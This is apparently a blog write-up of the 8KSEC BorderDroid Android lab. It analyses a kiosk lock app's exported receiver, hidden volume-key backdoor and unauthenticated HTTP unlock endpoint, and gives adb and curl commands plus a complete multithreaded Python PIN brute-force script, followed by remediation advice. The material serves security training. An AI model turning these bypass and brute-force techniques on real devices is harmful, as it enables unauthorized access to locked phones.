BorderDroid — 8KSEC
Introduction
BorderDroid — 8KSEC
Introduction
BorderDroid is an Android security challenge presented by 8KSEC. The application simulates a real-world scenario where a suspect’s device is locked using a custom kiosk-mode application. As a penetration tester playing the role of a border control agent, the objective is to bypass the security mechanisms and access the device without root permissions and without relying on direct USB-based attacks.
This writeup documents the full analysis process, from initial exploration to successful exploitation.
Environment Setup
Before diving into analysis, the following tools were used:
- jadx — for decompiling the APK into readable Java source code
- adb — Android Debug Bridge for device communication
- Burp Suite / curl — for HTTP traffic testing
- Python 3 — for writing the brute-force script
Step 1 — Initial Application Exploration
When the APK is first installed and launched, the application opens on the Accessibility Settings screen. This is because BorderDroid requires accessibility permissions to enforce kiosk mode, which is a standard Android feature that locks the device into a single application, preventing the user from navigating away.
Enabling Kiosk Mode
Once the user grants accessibility permission, the app transitions to the Dashboard screen, where the user is prompted to set a 6-digit PIN. This PIN is intended to be the only way to unlock the device later.
After setting the PIN, the user presses the “Start Security” button, which activates kiosk mode. From this point:
- The device is fully locked
- A custom lock screen is displayed
- Even entering the correct PIN results in a “Wrong PIN” message
- The user cannot exit the application or access any other part of the system
This behavior immediately raises a red flag — if the correct PIN doesn’t work, there must be another mechanism controlling the unlock process.
Step 2 — Static Analysis (APK Decompilation)
The APK was decompiled using jadx-gui, which converted the .dex bytecode back into readable Java source code. The analysis focused on three main areas:
- The
AndroidManifest.xmlfile - The
YouAreSecureActivityclass (the lock screen) - The
HttpUnlockServiceandRemoteTriggerReceiverclasses
Step 3 — Manifest Analysis
The AndroidManifest.xml reveals the full structure of the application:
xml
<activity android:name="com.eightksec.borderdroid.SplashActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity android:name="com.eightksec.borderdroid.YouAreSecureActivity"
android:exported="false"
android:launchMode="singleTask"
android:lockTaskMode="if_whitelisted"/>
<receiver android:name="com.eightksec.borderdroid.receiver.RemoteTriggerReceiver"
android:enabled="true"
android:exported="true">
<intent-filter>
<action android:name="com.eightksec.borderdroid.ACTION_PERFORM_REMOTE_TRIGGER"/>
</intent-filter>
</receiver>
Key Observations from the Manifest
YouAreSecureActivityis the lock screen and useslockTaskMode="if_whitelisted", confirming it uses Android's Lock Task Mode (kiosk mode)RemoteTriggerReceiveris marked as**exported="true", which means any external application or service on the same device or network can send intents to it** — this is a major vulnerability- Multiple activities like
WipeTimerActivityandNothingHereActivitysuggest the app has a self-destruct mechanism on repeated failed attempts
Step 4 — Analyzing the Lock Screen (YouAreSecureActivity)
Decompiling YouAreSecureActivity reveals two important discoveries:
Discovery 1 — The PIN is Never Validated
Looking at the PIN entry logic, the application collects digits from a numeric keypad but never actually validates them against the stored PIN correctly. The “Wrong PIN” message is essentially hardcoded behavior — the lock screen is designed to always reject input regardless.
Discovery 2 — Hardcoded Volume Key Backdoor
java
private static final int VOL_DOWN = 25;
private static final int VOL_UP = 24;
private static final long SEQUENCE_TIMEOUT_MS = 2000;
private final List<Integer> targetSequence =
YouAreSecureActivity$$ExternalSyntheticBackport0.m(24, 25, 24, 25);
The developer embedded a secret hardware button sequence that bypasses the PIN entirely. The sequence is:
VOL_UP → VOL_DOWN → VOL_UP → VOL_DOWN
All four presses must happen within 2 seconds. The sequence checker:
java
private void checkVolumeSequence() {
while (this.volumeSequence.size() > this.targetSequence.size()) {
this.volumeSequence.remove(0);
}
if (this.volumeSequence.equals(this.targetSequence)) {
this.volumeSequence.clear();
unlockAndReturnToDashboard(); // <-- Direct unlock, no PIN needed
}
}
When triggered, unlockAndReturnToDashboard() is called:
java
private void unlockAndReturnToDashboard() {
stopLockTask(); // Exits kiosk mode
setKioskState(false); // Updates internal state
Intent intent = new Intent(this, DashboardActivity.class);
intent.addFlags(603979776);
startActivity(intent); // Goes back to dashboard
finish();
}
This is a complete bypass — no PIN required. This is clearly a developer backdoor left in production code.
Step 5 — Analyzing the HTTP Unlock Service
Beyond the hardware backdoor, a far more exploitable vulnerability was discovered: an embedded HTTP server running inside the application.
HttpUnlockService
java
public class HttpUnlockService extends Service {
private static final int SERVER_PORT = 8080;
private WebServer server;
@Override
public int onStartCommand(Intent intent, int i, int i2) {
// Starts as foreground service (persistent)
startForeground(1, buildNotification());
if (!this.server.isAlive()) {
this.server.start(NanoHTTPD.SOCKET_READ_TIMEOUT, false);
}
return 1;
}
}
The service uses NanoHTTPD, a lightweight embedded Java HTTP server, and listens on port 8080. It accepts POST requests to the /unlock endpoint:
java
public NanoHTTPD.Response serve(NanoHTTPD.IHTTPSession iHTTPSession) {
if (NanoHTTPD.Method.POST.equals(iHTTPSession.getMethod())
&& "/unlock".equalsIgnoreCase(iHTTPSession.getUri())) {
HashMap hashMap = new HashMap();
iHTTPSession.parseBody(hashMap);
String postData = hashMap.get("postData");
String pin = new JSONObject(postData).optString("pin", null);
if (pin != null) {
broadcastVulnerableUnlockIntentWithPin(pin);
return newFixedLengthResponse("Unlock attempt initiated.");
}
}
}
The server:
- Accepts a JSON body with a
"pin"field - Passes it to
broadcastVulnerableUnlockIntentWithPin() - Has zero rate limiting — you can send unlimited requests
- Has zero authentication — anyone on the network can reach it
How the Broadcast Works
java
private void broadcastVulnerableUnlockIntentWithPin(String pin) {
Intent intent = new Intent(RemoteTriggerReceiver.ACTION_PERFORM_REMOTE_TRIGGER);
intent.putExtra(RemoteTriggerReceiver.EXTRA_TRIGGER_PIN, pin);
intent.setClassName(this.context, RemoteTriggerReceiver.class.getName());
this.context.sendBroadcast(intent);
}
The PIN is sent as a broadcast to RemoteTriggerReceiver.
Step 6 — Analyzing RemoteTriggerReceiver
java
public class RemoteTriggerReceiver extends BroadcastReceiver {
public static final String ACTION_PERFORM_REMOTE_TRIGGER =
"com.eightksec.borderdroid.ACTION_PERFORM_REMOTE_TRIGGER";
public static final String EXTRA_TRIGGER_PIN =
"com.eightksec.borderdroid.EXTRA_TRIGGER_PIN";
@Override
public void onReceive(Context context, Intent intent) {
String pin = intent.getStringExtra(EXTRA_TRIGGER_PIN);
if (new PinStorage().verifyPin(context, pin)) {
performUnlockActions(context); // <-- Unlock if PIN matches
}
}
private static void lambda$performUnlockActions$0(Context context) {
// 1. Shows toast: "Remote Action Triggered (PIN OK)"
Toast.makeText(context, "Remote Action Triggered (PIN OK)", 1).show();
// 2. Disables kiosk state in SharedPreferences
context.getSharedPreferences("kiosk_state", 0)
.edit().putBoolean("is_kiosk_active", false).apply();
// 3. Sends local broadcast to stop kiosk enforcement
LocalBroadcastManager.getInstance(context)
.sendBroadcast(new Intent(ACTION_STOP_KIOSK));
// 4. Stops the HTTP service
context.stopService(new Intent(context, HttpUnlockService.class));
// 5. Navigates to Dashboard
Intent intent = new Intent(context, DashboardActivity.class);
intent.addFlags(872415232);
context.startActivity(intent);
}
}
The full unlock chain is now clear:
HTTP POST /unlock {"pin":"XXXXXX"}
↓
HttpUnlockService receives request
↓
Broadcasts intent with PIN to RemoteTriggerReceiver
↓
PinStorage.verifyPin() checks PIN
↓
If correct → performUnlockActions() → Device unlocke
Step 7 — Exploitation
Setting Up Port Forwarding
Since the HTTP server runs locally on the device, port forwarding is needed to reach it from the attacker machine:
bash
adb forward tcp:8080 tcp:8080
Testing the Endpoint
bash
curl -X POST http://127.0.0.1:8080/unlock \
-H "Content-Type: application/json" \
-d '{"pin":"123456"}'
Response: Unlock attempt initiated (vulnerable pathway).
This confirms the endpoint is reachable and responsive.
Brute Force Script
Since the PIN is 6 digits (000000–999999 = 1,000,000 combinations) and there is no rate limiting or lockout, a multithreaded brute-force attack is viable:
python
import requests
import threading
# Target configuration
HOST = "127.0.0.1"
PORT = 8080
UNLOCK_URL = f"http://{HOST}:{PORT}/unlock"
NUM_THREADS = 20
found = threading.Event()
correct_pin = [None]
def attempt_range(start, end):
"""
Each thread handles a range of PINs.
Uses a persistent session for connection reuse (faster).
"""
session = requests.Session()
for pin in range(start, end):
# Stop if another thread already found the PIN
if found.is_set():
return
formatted_pin = str(pin).zfill(6)
try:
response = session.post(
UNLOCK_URL,
json={"pin": formatted_pin},
timeout=5
)
print(f"\r[*] Trying: {formatted_pin}", end="", flush=True)
except requests.exceptions.RequestException:
# Connection dropped = device unlocked by previous PIN
correct_pin[0] = str(pin - 1).zfill(6)
print(f"\n[+] SUCCESS! Correct PIN: {correct_pin[0]}")
found.set()
return
def launch_attack():
total_pins = 1_000_000
chunk_size = total_pins // NUM_THREADS
threads = []
print(f"[*] Starting brute force with {NUM_THREADS} threads...")
print(f"[*] Each thread handles {chunk_size:,} PINs\n")
for i in range(NUM_THREADS):
start = i * chunk_size
end = start + chunk_size if i < NUM_THREADS - 1 else total_pins
t = threading.Thread(
target=attempt_range,
args=(start, end),
daemon=True
)
threads.append(t)
t.start()
for t in threads:
t.join()
if not found.is_set():
print("[-] All combinations exhausted. PIN not found.")
else:
print(f"\n[+] Device successfully unlocked with PIN: {correct_pin[0]}")
if __name__ == "__main__":
launch_attack()
Why the Connection Drop Indicates Success
When the correct PIN is submitted:
RemoteTriggerReceivercallsperformUnlockActions()- The kiosk exits and
HttpUnlockServiceis stopped - The HTTP server shuts down
- The next request from the brute-force script fails with a connection error
- This connection error is the signal that the previous PIN was correct
Vulnerability Summary
VulnerabilitySeverityDetail1Exported BroadcastReceiverCriticalExternal apps can trigger unlock intents2Unauthenticated HTTP endpointCriticalNo auth, no rate limit, accessible over network3Hardcoded backdoor sequenceHighVolume key combination bypasses PIN entirely4Plaintext HTTP serverMediumNo TLS, traffic is unencrypted5No brute-force protectionCritical1M PIN combinations with zero lockout
Remediation Recommendations
For the exported receiver: Remove android:exported="true" or add proper permission checks:
xml
<receiver android:name=".receiver.RemoteTriggerReceiver"
android:exported="false"/>
For the HTTP endpoint:
- Implement request rate limiting (e.g., max 5 attempts per minute)
- Add account lockout after repeated failures
- Switch to HTTPS with certificate pinning
- Remove the endpoint entirely if not needed in production
For the backdoor:
- Remove all hardcoded sequences from production builds
- Use ProGuard/R8 to obfuscate sensitive logic
For the PIN storage:
- Add a delay between PIN verification attempts
- Implement exponential backoff
Final Result
[embed]
Conclusion
BorderDroid demonstrates several critical Android security mistakes that compound into a complete device compromise. The combination of an exported broadcast receiver, an unauthenticated embedded HTTP server, and no rate limiting creates an attack surface that allows any device on the same network to brute-force the PIN and unlock the device — precisely the scenario the application was designed to prevent.
The challenge highlights that security-focused applications must undergo thorough threat modeling, particularly around inter-process communication (IPC) mechanisms like broadcast receivers and services, which are common sources of privilege escalation vulnerabilities in Android.
메타데이터
- post_id
- 3a487a1d51e2
- slug
- borderdroid-8ksec-3a487a1d51e2
- url
- https://medium.com/@TionoX/borderdroid-8ksec-3a487a1d51e2
- canonical_url
- https://medium.com/@TionoX/borderdroid-8ksec-3a487a1d51e2
- author_url
- https://medium.com/@TionoX
- status
- ok
- fetched_at
- 2026-06-10 15:53:41